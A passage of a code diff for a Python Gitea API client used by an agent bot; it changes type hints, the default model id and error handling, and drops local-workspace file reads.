error_message: Optional[str] = Field(default=None, description="Error message if execution failed")
|
|
||||||
+1
-1
@@ -11,7 +11,7 @@ class AgentSettings(BaseSettings):
|
|||||||
gitea_url: str = ""
|
gitea_url: str = ""
|
||||||
gitea_token: str = ""
|
gitea_token: str = ""
|
||||||
gitea_repos_root: str = ""
|
gitea_repos_root: str = ""
|
||||||
agent_model_id: str = "qwen3.6-35b-a3b-mtp@iq4_nl"
|
agent_model_id: str = "qwen/qwen3.6-35b-a3b"
|
||||||
agent_max_retries: int = 2
|
agent_max_retries: int = 2
|
||||||
agent_usernames: list[str] = ["agent-bot"]
|
agent_usernames: list[str] = ["agent-bot"]
|
||||||
gitea_org_filter: str = "meeks"
|
gitea_org_filter: str = "meeks"
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
import base64
|
import base64
|
||||||
import logging
|
import logging
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
@@ -24,7 +25,7 @@ class FilesClient:
|
|||||||
|
|
||||||
def update_file(
|
def update_file(
|
||||||
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
) -> dict[str, object]:
|
) -> dict[str, Any]:
|
||||||
"""Update a file in a repository.
|
"""Update a file in a repository.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -78,7 +79,7 @@ class FilesClient:
|
|||||||
else ""
|
else ""
|
||||||
)
|
)
|
||||||
|
|
||||||
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
||||||
"""Update a git reference.
|
"""Update a git reference.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -96,7 +97,7 @@ class FilesClient:
|
|||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
return response.json()
|
return response.json()
|
||||||
|
|
||||||
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
||||||
"""Create a new git reference.
|
"""Create a new git reference.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
"""Issues client for Gitea API operations."""
|
"""Issues client for Gitea API operations."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from typing import Callable, Optional
|
from typing import Any, Callable, Optional
|
||||||
|
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
@@ -196,7 +196,7 @@ class IssuesClient:
|
|||||||
The created issue.
|
The created issue.
|
||||||
"""
|
"""
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
|
||||||
data: dict[str, str | list[str]] = {"title": title, "body": body}
|
data: dict[str, Any] = {"title": title, "body": body}
|
||||||
if labels:
|
if labels:
|
||||||
data["labels"] = labels
|
data["labels"] = labels
|
||||||
if assignees:
|
if assignees:
|
||||||
|
|||||||
+4
-4
@@ -1,6 +1,6 @@
|
|||||||
"""Pydantic models for Gitea API entities."""
|
"""Pydantic models for Gitea API entities."""
|
||||||
|
|
||||||
from typing import Optional
|
from typing import Optional, Any
|
||||||
|
|
||||||
from pydantic import BaseModel, Field, field_validator
|
from pydantic import BaseModel, Field, field_validator
|
||||||
|
|
||||||
@@ -71,8 +71,8 @@ class PullRequestModel(BaseModel):
|
|||||||
updated_at: Optional[str] = None
|
updated_at: Optional[str] = None
|
||||||
closed_at: Optional[str] = None
|
closed_at: Optional[str] = None
|
||||||
merged_at: Optional[str] = None
|
merged_at: Optional[str] = None
|
||||||
head: dict[str, object] = Field(default_factory=dict)
|
head: dict[str, Any] = Field(default_factory=dict)
|
||||||
base: dict[str, object] = Field(default_factory=dict)
|
base: dict[str, Any] = Field(default_factory=dict)
|
||||||
repository: Optional[RepositoryModel] = None
|
repository: Optional[RepositoryModel] = None
|
||||||
comments: int = 0
|
comments: int = 0
|
||||||
comments_url: Optional[str] = None
|
comments_url: Optional[str] = None
|
||||||
@@ -109,5 +109,5 @@ class GiteaConfig(BaseModel):
|
|||||||
base_url: str
|
base_url: str
|
||||||
token: str
|
token: str
|
||||||
repos_root: str
|
repos_root: str
|
||||||
model_id: str = "qwen3.6-35b-a3b-mtp@iq4_nl"
|
model_id: str = "qwen/qwen3.6-35b-a3b"
|
||||||
max_retries: int = 2
|
max_retries: int = 2
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
"""Notifications client for Gitea API operations."""
|
"""Notifications client for Gitea API operations."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from typing import Optional
|
from typing import Any, Optional
|
||||||
|
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
@@ -26,7 +26,7 @@ class NotificationsClient:
|
|||||||
|
|
||||||
def list_unread_notifications(
|
def list_unread_notifications(
|
||||||
self, since: Optional[str] = None
|
self, since: Optional[str] = None
|
||||||
) -> list[dict[str, object]]:
|
) -> list[dict[str, Any]]:
|
||||||
"""List unread notifications.
|
"""List unread notifications.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -42,9 +42,9 @@ class NotificationsClient:
|
|||||||
params["since"] = since
|
params["since"] = since
|
||||||
response = self.client.get(url, params=params)
|
response = self.client.get(url, params=params)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
notifications: list[dict[str, object]] = response.json()
|
notifications: list[dict[str, Any]] = response.json()
|
||||||
|
|
||||||
result: list[dict[str, object]] = []
|
result: list[dict[str, Any]] = []
|
||||||
for n in notifications:
|
for n in notifications:
|
||||||
repo_info = n.get("repository") or {}
|
repo_info = n.get("repository") or {}
|
||||||
owner_info = repo_info.get("owner") or {}
|
owner_info = repo_info.get("owner") or {}
|
||||||
|
|||||||
+11
-18
@@ -1,8 +1,7 @@
|
|||||||
"""Pull Requests client for Gitea API operations."""
|
"""Pull Requests client for Gitea API operations."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from dataclasses import dataclass
|
from typing import Any, Callable
|
||||||
from typing import Callable
|
|
||||||
|
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
@@ -18,12 +17,6 @@ from .models import (
|
|||||||
logger: logging.Logger = logging.getLogger("gitea.prs_client")
|
logger: logging.Logger = logging.getLogger("gitea.prs_client")
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
|
||||||
class ReviewRequest:
|
|
||||||
event: str
|
|
||||||
body: str
|
|
||||||
|
|
||||||
|
|
||||||
class PullRequestsClient:
|
class PullRequestsClient:
|
||||||
"""HTTP client for Gitea Pull Requests API operations."""
|
"""HTTP client for Gitea Pull Requests API operations."""
|
||||||
|
|
||||||
@@ -295,7 +288,7 @@ class PullRequestsClient:
|
|||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
||||||
data: dict[str, str | None] = {}
|
data: dict[str, Any] = {}
|
||||||
if title is not None:
|
if title is not None:
|
||||||
data["title"] = title
|
data["title"] = title
|
||||||
if body is not None:
|
if body is not None:
|
||||||
@@ -329,7 +322,7 @@ class PullRequestsClient:
|
|||||||
|
|
||||||
def approve_pr(
|
def approve_pr(
|
||||||
self, owner: str, repo: str, pr_number: int, comment: str
|
self, owner: str, repo: str, pr_number: int, comment: str
|
||||||
) -> dict[str, object]:
|
) -> dict[str, Any]:
|
||||||
"""Approve a pull request.
|
"""Approve a pull request.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -342,14 +335,14 @@ class PullRequestsClient:
|
|||||||
The review response.
|
The review response.
|
||||||
"""
|
"""
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||||
review: ReviewRequest = ReviewRequest(event="APPROVED", body=comment)
|
data: dict[str, Any] = {"event": "APPROVED", "body": comment}
|
||||||
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
response = self.client.post(url, json=data)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
return response.json()
|
return response.json()
|
||||||
|
|
||||||
def request_changes_pr(
|
def request_changes_pr(
|
||||||
self, owner: str, repo: str, pr_number: int, comment: str
|
self, owner: str, repo: str, pr_number: int, comment: str
|
||||||
) -> dict[str, object]:
|
) -> dict[str, Any]:
|
||||||
"""Request changes on a pull request.
|
"""Request changes on a pull request.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -362,14 +355,14 @@ class PullRequestsClient:
|
|||||||
The review response.
|
The review response.
|
||||||
"""
|
"""
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
||||||
review: ReviewRequest = ReviewRequest(event="REQUEST_CHANGES", body=comment)
|
data: dict[str, Any] = {"event": "REQUEST_CHANGES", "body": comment}
|
||||||
response = self.client.post(url, json={"event": review.event, "body": review.body})
|
response = self.client.post(url, json=data)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
return response.json()
|
return response.json()
|
||||||
|
|
||||||
def get_pr_reviews(
|
def get_pr_reviews(
|
||||||
self, owner: str, repo: str, pr_number: int
|
self, owner: str, repo: str, pr_number: int
|
||||||
) -> list[dict[str, object]]:
|
) -> list[dict[str, Any]]:
|
||||||
"""Get reviews for a pull request.
|
"""Get reviews for a pull request.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -389,7 +382,7 @@ class PullRequestsClient:
|
|||||||
|
|
||||||
def dismiss_review_pr(
|
def dismiss_review_pr(
|
||||||
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
|
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
|
||||||
) -> dict[str, object]:
|
) -> dict[str, Any]:
|
||||||
"""Dismiss a review on a pull request.
|
"""Dismiss a review on a pull request.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -454,7 +447,7 @@ class PullRequestsClient:
|
|||||||
url = (
|
url = (
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
|
||||||
)
|
)
|
||||||
data: dict[str, str] = {
|
data: dict[str, Any] = {
|
||||||
"Do": style,
|
"Do": style,
|
||||||
"MergeTitleField": title,
|
"MergeTitleField": title,
|
||||||
"MergeMessageField": message,
|
"MergeMessageField": message,
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
"""Repositories client for Gitea API operations."""
|
"""Repositories client for Gitea API operations."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
@@ -35,7 +36,7 @@ class ReposClient:
|
|||||||
url = f"{self.base_url}/api/v1/user/repos"
|
url = f"{self.base_url}/api/v1/user/repos"
|
||||||
response = self.client.get(url)
|
response = self.client.get(url)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
repos: list[dict[str, object]] = response.json()
|
repos: list[dict[str, Any]] = response.json()
|
||||||
# Filter to ONLY configured organization repos, include mirrors
|
# Filter to ONLY configured organization repos, include mirrors
|
||||||
seen: set[str] = set()
|
seen: set[str] = set()
|
||||||
result: list[RepositoryModel] = []
|
result: list[RepositoryModel] = []
|
||||||
|
|||||||
@@ -1,18 +1,12 @@
|
|||||||
import logging
|
|
||||||
import os
|
|
||||||
from pathlib import Path
|
|
||||||
from typing import Any
|
from typing import Any
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("gitea-file-tools")
|
|
||||||
|
|
||||||
|
|
||||||
class FileTools:
|
class FileTools:
|
||||||
"""Tools for Gitea file/content operations."""
|
"""Tools for Gitea file/content operations."""
|
||||||
|
|
||||||
def __init__(self, client: GiteaClient, repo_path: str | None = None) -> None:
|
def __init__(self, client: GiteaClient) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
self._repo_path: str | None = repo_path
|
|
||||||
|
|
||||||
def _paginate_lines(
|
def _paginate_lines(
|
||||||
self,
|
self,
|
||||||
@@ -41,15 +35,6 @@ class FileTools:
|
|||||||
)
|
)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def _resolve_local_path(self, owner: str, repo: str, path: str) -> str | None:
|
|
||||||
"""Resolve owner/repo/path to a local filesystem path if the repo is cloned."""
|
|
||||||
if not self._repo_path:
|
|
||||||
return None
|
|
||||||
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
|
||||||
if os.path.isdir(local_repo):
|
|
||||||
return os.path.join(local_repo, path)
|
|
||||||
return None
|
|
||||||
|
|
||||||
def get_file_content(
|
def get_file_content(
|
||||||
self,
|
self,
|
||||||
owner: str,
|
owner: str,
|
||||||
@@ -60,38 +45,16 @@ class FileTools:
|
|||||||
) -> str:
|
) -> str:
|
||||||
"""Get the content of a file from a Gitea repository with line paging.
|
"""Get the content of a file from a Gitea repository with line paging.
|
||||||
|
|
||||||
Checks the local workspace first if repo_path is configured, falling
|
|
||||||
back to the remote API when the file is not available locally.
|
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
offset: 1-indexed line to start from (default 1).
|
offset: 1-indexed line to start from (default 1).
|
||||||
limit: Maximum number of lines to return (default 250).
|
limit: Maximum number of lines to return (default 250).
|
||||||
"""
|
"""
|
||||||
local_path: str | None = self._resolve_local_path(owner, repo, path)
|
|
||||||
if local_path and os.path.isfile(local_path):
|
|
||||||
try:
|
|
||||||
with open(local_path, "r", encoding="utf-8", errors="replace") as f:
|
|
||||||
raw: str = f.read()
|
|
||||||
return self._paginate_lines(raw, offset, limit)
|
|
||||||
except Exception as exc:
|
|
||||||
logger.debug(
|
|
||||||
f"Local read failed for {owner}/{repo}/{path}: {exc}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
content = self._client.files.get_file_content(owner, repo, path)
|
content = self._client.files.get_file_content(owner, repo, path)
|
||||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||||
return self._paginate_lines(raw, offset, limit)
|
return self._paginate_lines(raw, offset, limit)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting file content: {str(e)}"
|
||||||
f"Failed to get file content for {owner}/{repo}/{path}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve file '{path}' from {owner}/{repo}. "
|
|
||||||
f"Verify the file path and branch are correct. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_file_content_with_ref(
|
def get_file_content_with_ref(
|
||||||
self,
|
self,
|
||||||
@@ -104,47 +67,17 @@ class FileTools:
|
|||||||
) -> str:
|
) -> str:
|
||||||
"""Get file content at a specific git ref with line paging.
|
"""Get file content at a specific git ref with line paging.
|
||||||
|
|
||||||
Checks the local workspace first using ``git show`` if the repo is
|
|
||||||
cloned locally, falling back to the remote API.
|
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
ref: Branch, tag, or commit SHA (default 'master').
|
ref: Branch, tag, or commit SHA (default 'master').
|
||||||
offset: 1-indexed line to start from (default 1).
|
offset: 1-indexed line to start from (default 1).
|
||||||
limit: Maximum number of lines to return (default 250).
|
limit: Maximum number of lines to return (default 250).
|
||||||
"""
|
"""
|
||||||
if self._repo_path:
|
|
||||||
local_repo: str = os.path.join(self._repo_path, owner, repo)
|
|
||||||
if os.path.isdir(local_repo):
|
|
||||||
try:
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
result = subprocess.run(
|
|
||||||
["git", "-C", local_repo, "show", f"{ref}:{path}"],
|
|
||||||
capture_output=True,
|
|
||||||
text=True,
|
|
||||||
timeout=15,
|
|
||||||
)
|
|
||||||
if result.returncode == 0:
|
|
||||||
return self._paginate_lines(result.stdout, offset, limit)
|
|
||||||
except Exception as exc:
|
|
||||||
logger.debug(
|
|
||||||
f"Local git show failed for {owner}/{repo}/{path}@{ref}: {exc}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
content = self._client.files.get_file_content(owner, repo, path, ref)
|
content = self._client.files.get_file_content(owner, repo, path, ref)
|
||||||
raw: str = "\n".join(content) if isinstance(content, list) else content
|
raw: str = "\n".join(content) if isinstance(content, list) else content
|
||||||
return self._paginate_lines(raw, offset, limit)
|
return self._paginate_lines(raw, offset, limit)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting file content: {str(e)}"
|
||||||
f"Failed to get file content for {owner}/{repo}/{path}@{ref}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve file '{path}' at ref '{ref}' from {owner}/{repo}. "
|
|
||||||
f"Verify the file path and ref are correct. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def commit_file(
|
def commit_file(
|
||||||
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
@@ -153,14 +86,7 @@ class FileTools:
|
|||||||
self._client.files.update_file(owner, repo, path, message, content, branch)
|
self._client.files.update_file(owner, repo, path, message, content, branch)
|
||||||
return f"File '{path}' committed successfully to {owner}/{repo}."
|
return f"File '{path}' committed successfully to {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error committing file: {str(e)}"
|
||||||
f"Failed to commit file '{path}' to {owner}/{repo}@{branch}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not commit file '{path}' to {owner}/{repo} on branch '{branch}'. "
|
|
||||||
f"Check for conflicts or permission issues. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def update_file(
|
def update_file(
|
||||||
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
@@ -169,11 +95,4 @@ class FileTools:
|
|||||||
self._client.files.update_file(owner, repo, path, message, content, branch)
|
self._client.files.update_file(owner, repo, path, message, content, branch)
|
||||||
return f"File '{path}' updated in {owner}/{repo}."
|
return f"File '{path}' updated in {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error updating file: {str(e)}"
|
||||||
f"Failed to update file '{path}' in {owner}/{repo}@{branch}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not update file '{path}' in {owner}/{repo} on branch '{branch}'. "
|
|
||||||
f"Check for conflicts or permission issues. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
from typing import Any
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+11
-53
@@ -15,26 +15,19 @@ class IssueTools:
|
|||||||
def __init__(self, client: GiteaClient) -> None:
|
def __init__(self, client: GiteaClient) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
|
|
||||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
||||||
try:
|
try:
|
||||||
return self._client.issues.get_issue(owner, repo, issue_number)
|
issue: IssueModel = self._client.issues.get_issue(owner, repo, issue_number)
|
||||||
|
return issue.model_dump_json(indent=2)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error getting issue #{issue_number}: {e}", exc_info=True)
|
return f"Error getting issue: {str(e)}"
|
||||||
raise
|
|
||||||
|
|
||||||
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.issues.close_issue(owner, repo, issue_number)
|
self._client.issues.close_issue(owner, repo, issue_number)
|
||||||
return f"Issue #{issue_number} closed successfully."
|
return f"Issue #{issue_number} closed successfully."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error closing issue: {str(e)}"
|
||||||
f"Failed to close issue #{issue_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not close issue #{issue_number} in {owner}/{repo}. "
|
|
||||||
f"Check permissions or if the issue is already closed. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_issue_comments(
|
def get_issue_comments(
|
||||||
self,
|
self,
|
||||||
@@ -65,14 +58,7 @@ class IssueTools:
|
|||||||
)
|
)
|
||||||
return result
|
return result
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting issue comments: {str(e)}"
|
||||||
f"Failed to get comments for issue #{issue_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve comments for issue #{issue_number} in {owner}/{repo}. "
|
|
||||||
f"Verify the issue exists and you have access. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def list_assigned_issues(self) -> list[dict[str, Any]]:
|
def list_assigned_issues(self) -> list[dict[str, Any]]:
|
||||||
try:
|
try:
|
||||||
@@ -100,18 +86,11 @@ class IssueTools:
|
|||||||
try:
|
try:
|
||||||
issues = self._client.issues.list_repo_issues(owner, repo, state)
|
issues = self._client.issues.list_repo_issues(owner, repo, state)
|
||||||
if not issues:
|
if not issues:
|
||||||
return f"No {state} issues in {owner}/{repo}."
|
return f"No issues in {owner}/{repo}."
|
||||||
summary = [f"#{issue.number}: {issue.title}" for issue in issues]
|
summary = [f"#{issue.number}: {issue.title}" for issue in issues]
|
||||||
return "\n".join(summary)
|
return "\n".join(summary)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error listing issues: {str(e)}"
|
||||||
f"Failed to list {state} issues in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not list issues for {owner}/{repo}. "
|
|
||||||
f"Verify the repository exists and you have access. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def create_issue(
|
def create_issue(
|
||||||
self,
|
self,
|
||||||
@@ -128,14 +107,7 @@ class IssueTools:
|
|||||||
)
|
)
|
||||||
return f"Issue #{issue.number} created successfully in {owner}/{repo}."
|
return f"Issue #{issue.number} created successfully in {owner}/{repo}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error creating issue: {str(e)}"
|
||||||
f"Failed to create issue '{title}' in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not create issue '{title}' in {owner}/{repo}. "
|
|
||||||
f"Check repository permissions and label/assignee names. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def add_label_to_issue(
|
def add_label_to_issue(
|
||||||
self, owner: str, repo: str, issue_number: int, label: str
|
self, owner: str, repo: str, issue_number: int, label: str
|
||||||
@@ -144,14 +116,7 @@ class IssueTools:
|
|||||||
self._client.issues.add_label(owner, repo, issue_number, label)
|
self._client.issues.add_label(owner, repo, issue_number, label)
|
||||||
return f"Label '{label}' added to issue #{issue_number}."
|
return f"Label '{label}' added to issue #{issue_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error adding label to issue #{issue_number}: {e}"
|
||||||
f"Failed to add label '{label}' to issue #{issue_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not add label '{label}' to issue #{issue_number} in {owner}/{repo}. "
|
|
||||||
f"Verify the label exists in the repository. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def add_comment_to_issue(
|
def add_comment_to_issue(
|
||||||
self, owner: str, repo: str, issue_number: int, body: str
|
self, owner: str, repo: str, issue_number: int, body: str
|
||||||
@@ -160,11 +125,4 @@ class IssueTools:
|
|||||||
self._client.issues.add_comment(owner, repo, issue_number, body)
|
self._client.issues.add_comment(owner, repo, issue_number, body)
|
||||||
return f"Comment added to issue #{issue_number}."
|
return f"Comment added to issue #{issue_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error adding comment to issue #{issue_number}: {e}"
|
||||||
f"Failed to add comment to issue #{issue_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not add comment to issue #{issue_number} in {owner}/{repo}. "
|
|
||||||
f"Verify the issue exists and you have write access. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|||||||
+23
-81
@@ -40,30 +40,21 @@ class PRTools:
|
|||||||
def __init__(self, client: GiteaClient) -> None:
|
def __init__(self, client: GiteaClient) -> None:
|
||||||
self._client = client
|
self._client = client
|
||||||
|
|
||||||
def get_pull_request(
|
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
||||||
self, owner: str, repo: str, pull_number: int
|
|
||||||
) -> PullRequestModel:
|
|
||||||
try:
|
try:
|
||||||
return self._client.prs.get_pull_request(owner, repo, pull_number)
|
pr: PullRequestModel = self._client.prs.get_pull_request(
|
||||||
except Exception as e:
|
owner, repo, pull_number
|
||||||
logger.error(
|
|
||||||
f"Error getting pull request #{pull_number}: {e}", exc_info=True
|
|
||||||
)
|
)
|
||||||
raise
|
return pr.model_dump_json(indent=2)
|
||||||
|
except Exception as e:
|
||||||
|
return f"Error getting pull request: {str(e)}"
|
||||||
|
|
||||||
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.prs.close_pull_request(owner, repo, pull_number)
|
self._client.prs.close_pull_request(owner, repo, pull_number)
|
||||||
return f"Pull request #{pull_number} closed successfully."
|
return f"Pull request #{pull_number} closed successfully."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error closing pull request: {str(e)}"
|
||||||
f"Failed to close PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not close PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"Check permissions or if the PR is already closed. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_pull_request_comments(
|
def get_pull_request_comments(
|
||||||
self,
|
self,
|
||||||
@@ -94,14 +85,7 @@ class PRTools:
|
|||||||
)
|
)
|
||||||
return result
|
return result
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting PR comments: {str(e)}"
|
||||||
f"Failed to get comments for PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve comments for PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"Verify the PR exists and you have access. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
|
def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
|
||||||
try:
|
try:
|
||||||
@@ -129,18 +113,11 @@ class PRTools:
|
|||||||
try:
|
try:
|
||||||
prs = self._client.prs.list_repo_pull_requests(owner, repo, state)
|
prs = self._client.prs.list_repo_pull_requests(owner, repo, state)
|
||||||
if not prs:
|
if not prs:
|
||||||
return f"No {state} PRs in {owner}/{repo}."
|
return f"No PRs in {owner}/{repo}."
|
||||||
summary = [f"#{pr.number}: {pr.title}" for pr in prs]
|
summary = [f"#{pr.number}: {pr.title}" for pr in prs]
|
||||||
return "\n".join(summary)
|
return "\n".join(summary)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error listing PRs: {str(e)}"
|
||||||
f"Failed to list {state} PRs in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not list PRs for {owner}/{repo}. "
|
|
||||||
f"Verify the repository exists and you have access. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def create_pull_request(
|
def create_pull_request(
|
||||||
self,
|
self,
|
||||||
@@ -150,14 +127,14 @@ class PRTools:
|
|||||||
base: str,
|
base: str,
|
||||||
title: str,
|
title: str,
|
||||||
description: str = "",
|
description: str = "",
|
||||||
) -> PullRequestModel:
|
) -> str:
|
||||||
try:
|
try:
|
||||||
return self._client.prs.create_pr_via_tea(
|
pr = self._client.prs.create_pr_via_tea(
|
||||||
owner, repo, title, description, head, base
|
owner, repo, title, description, head, base
|
||||||
)
|
)
|
||||||
|
return pr.model_dump_json(indent=2)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error creating PR in {owner}/{repo}: {e}", exc_info=True)
|
return f"Error creating PR: {str(e)}"
|
||||||
raise
|
|
||||||
|
|
||||||
def update_pull_request(
|
